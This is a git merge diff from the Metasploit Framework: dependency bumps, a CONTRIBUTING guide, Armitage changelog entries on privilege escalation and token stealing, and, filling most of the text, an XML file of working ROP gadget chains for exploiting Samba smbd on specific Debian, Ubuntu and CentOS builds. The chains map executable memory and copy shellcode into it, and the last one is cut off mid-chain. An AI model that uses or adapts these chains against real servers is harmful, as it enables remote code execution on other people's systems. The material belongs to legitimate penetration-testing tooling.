Merge remote-tracking branch 'upstream/master' into wldap32_railgun
commit
378038afab
|
@ -3,10 +3,6 @@ rvm:
|
|||
- '1.8.7'
|
||||
- '1.9.3'
|
||||
|
||||
matrix:
|
||||
allow_failures:
|
||||
- rvm: '1.8.7'
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
||||
|
|
|
@ -0,0 +1,33 @@
|
|||
# Contributing to Metasploit
|
||||
|
||||
## Reporting Bugs
|
||||
|
||||
If you would like to report a bug, please take a look at [our Redmine
|
||||
issue
|
||||
tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420)
|
||||
-- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle.
|
||||
|
||||
If your bug is new and you'd like to report it you will need to
|
||||
[register
|
||||
first](https://dev.metasploit.com/redmine/account/register). Don't
|
||||
worry, it's easy and fun and takes about 30 seconds.
|
||||
|
||||
## Contributing Metasploit Modules
|
||||
|
||||
If you have an exploit that you'd like to contribute to the Metasploit
|
||||
Framework, please familiarize yourself with the
|
||||
**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)**
|
||||
document in the
|
||||
Metasploit-Framework repository. There are many mysteries revealed in
|
||||
HACKING concerning code style and content.
|
||||
|
||||
[Pull requests](https://github.com/rapid7/metasploit-framework/pulls)
|
||||
should corellate with modules at a 1:1 ratio
|
||||
-- there is rarely a good reason to have two, three, or ten modules on
|
||||
one pull request, as this dramatically increases the review time
|
||||
required to land (commit) any of those modules.
|
||||
|
||||
Pull requests tend to be very collaborative for Metasploit -- do not be
|
||||
surprised if your pull request to rapid7/metasploit-framework triggers a
|
||||
pull request back to your own fork. In this way, we can isolate working
|
||||
changes before landing your PR to the Metasploit master branch.
|
2
Gemfile
2
Gemfile
|
@ -23,7 +23,7 @@ end
|
|||
|
||||
group :test do
|
||||
# testing framework
|
||||
gem 'rspec'
|
||||
gem 'rspec', '>= 2.12'
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
gem 'simplecov', '0.5.4', :require => false
|
||||
|
|
40
Gemfile.lock
40
Gemfile.lock
|
@ -12,46 +12,46 @@ GIT
|
|||
GEM
|
||||
remote: http://rubygems.org/
|
||||
specs:
|
||||
activemodel (3.2.8)
|
||||
activesupport (= 3.2.8)
|
||||
activemodel (3.2.9)
|
||||
activesupport (= 3.2.9)
|
||||
builder (~> 3.0.0)
|
||||
activerecord (3.2.8)
|
||||
activemodel (= 3.2.8)
|
||||
activesupport (= 3.2.8)
|
||||
activerecord (3.2.9)
|
||||
activemodel (= 3.2.9)
|
||||
activesupport (= 3.2.9)
|
||||
arel (~> 3.0.2)
|
||||
tzinfo (~> 0.3.29)
|
||||
activesupport (3.2.8)
|
||||
activesupport (3.2.9)
|
||||
i18n (~> 0.6)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.2)
|
||||
builder (3.0.3)
|
||||
builder (3.0.4)
|
||||
coderay (1.0.8)
|
||||
diff-lcs (1.1.3)
|
||||
i18n (0.6.1)
|
||||
method_source (0.8.1)
|
||||
multi_json (1.3.6)
|
||||
multi_json (1.0.4)
|
||||
pg (0.14.1)
|
||||
pry (0.9.10)
|
||||
coderay (~> 1.0.5)
|
||||
method_source (~> 0.8)
|
||||
slop (~> 3.3.1)
|
||||
rake (0.9.2.2)
|
||||
redcarpet (2.1.1)
|
||||
rspec (2.11.0)
|
||||
rspec-core (~> 2.11.0)
|
||||
rspec-expectations (~> 2.11.0)
|
||||
rspec-mocks (~> 2.11.0)
|
||||
rspec-core (2.11.1)
|
||||
rspec-expectations (2.11.3)
|
||||
rake (10.0.2)
|
||||
redcarpet (2.2.2)
|
||||
rspec (2.12.0)
|
||||
rspec-core (~> 2.12.0)
|
||||
rspec-expectations (~> 2.12.0)
|
||||
rspec-mocks (~> 2.12.0)
|
||||
rspec-core (2.12.1)
|
||||
rspec-expectations (2.12.0)
|
||||
diff-lcs (~> 1.1.3)
|
||||
rspec-mocks (2.11.3)
|
||||
rspec-mocks (2.12.0)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
slop (3.3.3)
|
||||
tzinfo (0.3.33)
|
||||
yard (0.8.2.1)
|
||||
tzinfo (0.3.35)
|
||||
yard (0.8.3)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
@ -63,6 +63,6 @@ DEPENDENCIES
|
|||
pg (>= 0.11)
|
||||
rake
|
||||
redcarpet
|
||||
rspec
|
||||
rspec (>= 2.12)
|
||||
simplecov (= 0.5.4)
|
||||
yard
|
||||
|
|
|
@ -40,10 +40,11 @@ reading some of the great tutorials online:
|
|||
|
||||
Contributing
|
||||
--
|
||||
See the [Dev Environment Setup][wiki-devenv] guide on github which will
|
||||
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
|
||||
walk you through the whole process starting from installing all the
|
||||
dependencies, to cloning the repository, and finally to submitting a
|
||||
pull request.
|
||||
pull request. For slightly more info, see
|
||||
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
|
||||
|
||||
|
||||
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment "Metasploit Development Environment Setup"
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -1,6 +1,29 @@
|
|||
Armitage Changelog
|
||||
==================
|
||||
|
||||
26 Nov 12 (tested against msf 16114)
|
||||
---------
|
||||
- Windows command shell tab is now friendlier to commands that prompt
|
||||
for input (e.g., time command)
|
||||
- [host] -> Meterpreter -> Access -> Escalate Privileges now shows all
|
||||
the framework's new exploit/windows/local modules too
|
||||
- [host] -> Shell -> Post Modules now shows the framework's unix/local
|
||||
and exploit/linux/local modules
|
||||
- Added Ctrl+I shortcut. Lets you choose a session to interact with.
|
||||
- Added Steal Token button to Processes dialog.
|
||||
- Armitage now asks Metasploit for a non-expiring authentication token.
|
||||
This will prevent Armitage from losing its access to msfrpcd when you
|
||||
put your computer to sleep or pause the VM running Metasploit.
|
||||
- add_user and add_[local]group_user now show all of their output when
|
||||
the -h flag is used to operate on a remote host.
|
||||
- added a Delete menu to creds table. Right-click a cred to delete it
|
||||
|
||||
Cortana Updates (for scripters)
|
||||
--------
|
||||
- aliased &data_delete to &data_clear to match the documentation.
|
||||
- &file_get, &loot_get, and &file_content no longer delete the remote
|
||||
file when connected to a teamserver.
|
||||
|
||||
16 Oct 12 (tested against msf 15972)
|
||||
---------
|
||||
- Added port 5985 to MSF Scans list.
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,436 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
dpkg -l|grep libgcrypt
|
||||
ii libgcrypt11 1.4.5-2 LGPL Crypto library - runtime library
|
||||
b6977000-b69e8000 r-xp 00000000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
|
||||
b69e8000-b69eb000 rw-p 00070000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
|
||||
-->
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00004d44">pop ebx ; pop ebp ; ret</gadget>
|
||||
<gadget offset="0x00071ad4">offset of .got.plt section</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00063dbf">pop eax; ret</gadget>
|
||||
<gadget offset="0x00071af4">mmap@got - 4</gadget>
|
||||
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||
<gadget offset="0x00009974">jmp eax</gadget>
|
||||
<gadget offset="0x00004d41">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006a761">pop edx ; inc ebx ; ret</gadget>
|
||||
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x0004159f">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005d4c3">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x00060a1a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x0005c01b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
|
||||
<gadget offset="0x0003da28">push esp ; and al, 0x0C ; call esi</gadget>
|
||||
<gadget offset="0x00063dbf">pop eax ; ret</gadget>
|
||||
<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x000538c4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00055743">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||
<gadget offset="0x00063dbf">pop eax; ret</gadget>
|
||||
<gadget offset="0x00071b6c">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x00055743">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<!-- set ecx to same value than edx -->
|
||||
<gadget offset="0x0006e61f">xchg eax, esi ; ret || save eax</gadget>
|
||||
<gadget offset="0x00063dbf">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
|
||||
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
|
||||
<gadget offset="0x0005c914"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x0006e61f"> xchg eax, esi ; ret ; || restore eax</gadget>
|
||||
<gadget offset="0x00060a1a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x00071ad4">esi = offset of .got.plt section</gadget>
|
||||
<gadget offset="0x00008505">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x00004d0c">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0005b68a">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
|
||||
|
||||
</rop>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
|
||||
<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
dpkg -l|grep libgcr
|
||||
ii libgcrypt11 1.5.0-1 LGPL Crypto library - runtime library
|
||||
b69e3000-b6a65000 r-xp 00000000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
||||
b6a65000-b6a66000 r**p 00081000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
||||
b6a66000-b6a68000 rw-p 00082000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
||||
-->
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x000048ee">pop ebx ; ret</gadget>
|
||||
<gadget offset="0x00082ff4">offset of .got.plt section</gadget>
|
||||
<gadget offset="0x0006933f">pop eax; ret</gadget>
|
||||
<gadget offset="0x000830a4">mmap@got - 4</gadget>
|
||||
<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||
<gadget offset="0x00007d79">jmp eax</gadget>
|
||||
<gadget offset="0x00005646">add esp, 0x1C; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006fe61">pop edx ; inc ebx ; ret</gadget>
|
||||
<gadget offset="0x00084000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00046dcd">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget offset="0x00008532">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x000438ad">mov eax, ecx ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x000056e8">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x0006933f">pop eax ; ret</gadget>
|
||||
<gadget offset="0x00084100">eax = writable location, in GOT</gadget>
|
||||
<gadget offset="0x000048ee">pop ebx ; ret</gadget>
|
||||
<gadget offset="0x00084100">ebx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x0004cccf">push esp ; add dword [eax], eax ; add byte [ebx+0x5E], bl ; pop edi ; pop ebp ; ret || edi = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x00020bad">mov eax, edi ; pop ebx ; pop esi ; pop edi ; ret</gadget>
|
||||
<gadget value ="0x00000000">junk for ebx</gadget>
|
||||
<gadget value ="0x00000048">esi = value to add to esp to point to shellcode</gadget>
|
||||
<gadget value ="0x00000000">junk for edi</gadget>
|
||||
<gadget offset="0x0001ffef">xchg eax, ebx ; ret</gadget>
|
||||
<gadget offset="0x0000c39c">add ebx, esi ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||
<gadget offset="0x0006933f">pop eax; ret</gadget>
|
||||
<gadget offset="0x00083024">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0001ffef">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x00004803">pop esi ; ret</gadget>
|
||||
<gadget offset="0x00082ff4">esi = offset of .got.plt section</gadget>
|
||||
<gadget offset="0x00007af3">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x000104c5">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0001fdfa">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
dpkg -l|grep libgcr
|
||||
ii libgcrypt11 1.4.6-4ubuntu2 LGPL Crypto library - runtime library
|
||||
b69f8000-b6a69000 r-xp 00000000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
||||
b6a69000-b6a6a000 r**p 00070000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
||||
b6a6a000-b6a6c000 rw-p 00071000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
||||
|
||||
we arrive on rop chain with pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
|
||||
4 first pops are after pop esp
|
||||
-->
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00071ff4">ebx = offset of .got.plt section</gadget>
|
||||
<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x000641ff">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072010">mmap@got - 4</gadget>
|
||||
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||
<gadget offset="0x00007f19">jmp eax</gadget>
|
||||
<gadget offset="0x000046b1">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
|
||||
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00041b85">mov dword [edx], eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005822d">esi = pop ebx ; pop esi ; pop edi ; ret</gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005d903">xchg eax, edx ; ret || edx = eax , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x00043cd5">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000008 ; call esi || after call, esi = esp </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x00005c60">xchg eax, esi ; ret</gadget>
|
||||
<gadget offset="0x0005c45c">pop ecx ; ret</gadget>
|
||||
<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x00053dc4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || ebx = src in memcpy</gadget>
|
||||
<gadget offset="0x000641ff">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072ffc">writable add in GOT - 4</gadget>
|
||||
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = mmaped addr</gadget>
|
||||
<gadget offset="0x0005cd54">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x000641ff">pop eax; ret</gadget>
|
||||
<gadget offset="0x0007204c">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x00060e5a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
|
||||
<gadget offset="0x00007d05">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x0005822d">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0005baca">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
dpkg -l|grep libgcrypt
|
||||
ii libgcrypt11 1.4.5-2ubuntu1 LGPL Crypto library - runtime library
|
||||
b6a20000-b6a91000 r-xp 00000000 08:01 17247 /lib/libgcrypt.so.11.5.3
|
||||
b6a91000-b6a92000 r**p 00070000 08:01 17247 /lib/libgcrypt.so.11.5.3
|
||||
b6a92000-b6a94000 rw-p 00071000 08:01 17247 /lib/libgcrypt.so.11.5.3
|
||||
-->
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00004634">pop ebx ; pop ebp ; ret</gadget>
|
||||
<gadget offset="0x00071ff4">offset of .got.plt section</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006421f">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072010">mmap@got - 4</gadget>
|
||||
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||
<gadget offset="0x0000922c">jmp eax</gadget>
|
||||
<gadget offset="0x00004631">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
|
||||
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x000417af">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005d923">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x00060e7a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x0005c47b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
|
||||
<gadget offset="0x0003dbd8">push esp ; and al, 0x0C ; call esi</gadget>
|
||||
<gadget offset="0x0006421f">pop eax ; ret</gadget>
|
||||
<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x00053c64">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00043999">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||
<gadget offset="0x0006421f">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072094">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x00043999">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<!-- set ecx to same value than edx -->
|
||||
<gadget offset="0x0006ea7f">xchg eax, esi ; ret || save eax</gadget>
|
||||
<gadget offset="0x0006421f">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
|
||||
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
|
||||
<gadget offset="0x0005cd74"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x0006ea7f"> xchg eax, esi ; ret ; || restore eax</gadget>
|
||||
<gadget offset="0x00060e7a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
|
||||
<gadget offset="0x00007e05">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x00058245">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x000128cc">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>3.5.10-0.107.el5 on CentOS 5</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
yum list |grep libgcrypt
|
||||
libgcrypt.i386 1.4.4-5.el5 installed
|
||||
02c63000-02ce1000 r-xp 00000000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
|
||||
02ce1000-02ce4000 rwxp 0007d000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
|
||||
section is writable and executable, we'll copy the shellcode over there instead of using mmap
|
||||
-->
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
|
||||
<gadget offset="0x0005e842">pop eax ; pop ebx ; pop esi ; pop edi ; ret || eax = ret eip from call esi, ebx = esp, esi = edi = junk</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00028374">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000007 ; call esi</gadget>
|
||||
<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00062c29">xchg eax, ebx ; ret || eax = esp</gadget>
|
||||
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
|
||||
<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x0005a44d">add ecx, eax ; mov eax, ecx ; ret || eax = ecx = shellcode</gadget>
|
||||
<gadget offset="0x0006f5a1">pop edx ; inc ebx ; ret || set edx = to dst in memcpy for ret after pushad</gadget>
|
||||
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
|
||||
<gadget offset="0x0006a73f">pop eax ; ret</gadget>
|
||||
<gadget offset="0x0007effc">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x00015e47">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x00062c29">xchg eax, ebx ; ret || ebx = @memcpy</gadget>
|
||||
<gadget offset="0x0001704e">mov eax, ecx ; ret || eax = ecx = src in memcpy</gadget>
|
||||
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
|
||||
<gadget offset="0x0007ef54">esi = offset of .got.plt section</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
|
||||
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
|
||||
<gadget offset="0x00007a2b">pop edi ; pop ebp ** 1 **; ret</gadget>
|
||||
<gadget offset="0x00004276">(P) pop ebx ; pop esi ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1**</gadget>
|
||||
<gadget offset="0x0006200a">pushad ; ret</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
</rop>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- ROP CHAIN for smbd 2:3.5.11~dfsg-1ubuntu2
|
||||
|
||||
<compatibility>
|
||||
<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x0000f3b1">pop eax; ret</gadget>
|
||||
<gadget offset="0x00991ff0">mmap64@got</gadget>
|
||||
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
|
||||
<gadget offset="0x008c8997">jmp eax</gadget>
|
||||
<gadget offset="0x0009ee21">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
